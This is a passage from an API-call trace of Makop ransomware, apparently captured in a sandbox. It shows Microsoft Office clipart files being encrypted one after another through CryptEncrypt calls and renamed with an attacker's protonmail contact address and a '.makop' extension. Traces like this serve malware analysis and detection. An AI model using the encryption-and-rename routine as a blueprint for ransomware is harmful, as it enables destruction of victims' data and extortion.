lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0151.367] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0151.367] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0151.368] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.368] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.368] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.368] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2944, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2944, lpOverlapped=0x0) returned 1 [0151.370] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2950, dwBufLen=0x2950 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2950) returned 1 [0151.370] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.370] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2950, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2950, lpOverlapped=0x0) returned 1 [0151.370] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.370] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2a24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.370] SetEndOfFile (hFile=0xf0) returned 1 [0151.377] GetProcessHeap () returned 0x48a0000 [0151.377] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0151.377] GetProcessHeap () returned 0x48a0000 [0151.377] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0151.378] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00935_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0151.378] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00935_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00935_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00935_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00935_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0151.380] CloseHandle (hObject=0xf0) returned 1 [0151.380] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1960, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00938_.WMF", cAlternateFileName="")) returned 1 [0151.381] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00938_.WMF") returned 63 [0151.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00938_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00938_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0151.382] GetProcessHeap () returned 0x48a0000 [0151.382] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0151.382] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0151.382] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0151.383] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.383] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.383] GetProcessHeap () returned 0x48a0000 [0151.383] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0151.383] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0151.383] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.383] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0151.387] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0151.388] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0151.388] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0151.388] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0151.388] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0151.388] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.388] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.389] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.389] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1960, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1960, lpOverlapped=0x0) returned 1 [0151.390] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1960, dwBufLen=0x1960 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1960) returned 1 [0151.390] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.390] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1960, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1960, lpOverlapped=0x0) returned 1 [0151.391] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.391] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1a34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.391] SetEndOfFile (hFile=0xf0) returned 1 [0151.398] GetProcessHeap () returned 0x48a0000 [0151.398] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0151.398] GetProcessHeap () returned 0x48a0000 [0151.398] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0151.398] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00938_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0151.398] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00938_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00938_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00938_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00938_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0151.401] CloseHandle (hObject=0xf0) returned 1 [0151.401] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1708, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00941_.WMF", cAlternateFileName="")) returned 1 [0151.401] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00941_.WMF") returned 63 [0151.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00941_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00941_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0151.402] GetProcessHeap () returned 0x48a0000 [0151.403] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0151.403] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0151.403] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0151.403] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0151.408] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.408] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.408] GetProcessHeap () returned 0x48a0000 [0151.408] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0151.408] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0151.408] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.408] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0151.408] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0151.409] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0151.409] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0151.409] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0151.409] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0151.409] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.409] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.409] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.410] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1708, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1708, lpOverlapped=0x0) returned 1 [0151.412] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1710, dwBufLen=0x1710 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1710) returned 1 [0151.412] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.413] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1710, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1710, lpOverlapped=0x0) returned 1 [0151.413] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.413] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x17e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.413] SetEndOfFile (hFile=0xf0) returned 1 [0151.420] GetProcessHeap () returned 0x48a0000 [0151.420] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0151.420] GetProcessHeap () returned 0x48a0000 [0151.420] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0151.420] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00941_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0151.420] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00941_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00941_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00941_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00941_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0151.422] CloseHandle (hObject=0xf0) returned 1 [0151.422] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1264, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00942_.WMF", cAlternateFileName="")) returned 1 [0151.423] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00942_.WMF") returned 63 [0151.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00942_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00942_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0151.424] GetProcessHeap () returned 0x48a0000 [0151.424] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0151.424] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0151.424] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0151.425] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0151.433] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.433] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.433] GetProcessHeap () returned 0x48a0000 [0151.433] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0151.433] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0151.433] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.433] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0151.434] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0151.434] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0151.434] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0151.434] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0151.434] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0151.435] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.435] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.435] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.435] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1264, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1264, lpOverlapped=0x0) returned 1 [0151.436] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1270, dwBufLen=0x1270 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1270) returned 1 [0151.437] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.437] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1270, lpOverlapped=0x0) returned 1 [0151.437] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.437] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1344, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.437] SetEndOfFile (hFile=0xf0) returned 1 [0151.444] GetProcessHeap () returned 0x48a0000 [0151.444] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0151.444] GetProcessHeap () returned 0x48a0000 [0151.444] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0151.444] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00942_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0151.445] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00942_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00942_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00942_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00942_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0151.457] CloseHandle (hObject=0xf0) returned 1 [0151.458] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d84, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00943_.WMF", cAlternateFileName="")) returned 1 [0151.459] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00943_.WMF") returned 63 [0151.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00943_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00943_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0151.461] GetProcessHeap () returned 0x48a0000 [0151.461] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0151.461] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0151.461] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0151.461] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0151.466] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.466] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.466] GetProcessHeap () returned 0x48a0000 [0151.466] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0151.466] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0151.466] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.466] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0151.466] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0151.466] WriteFile (in: 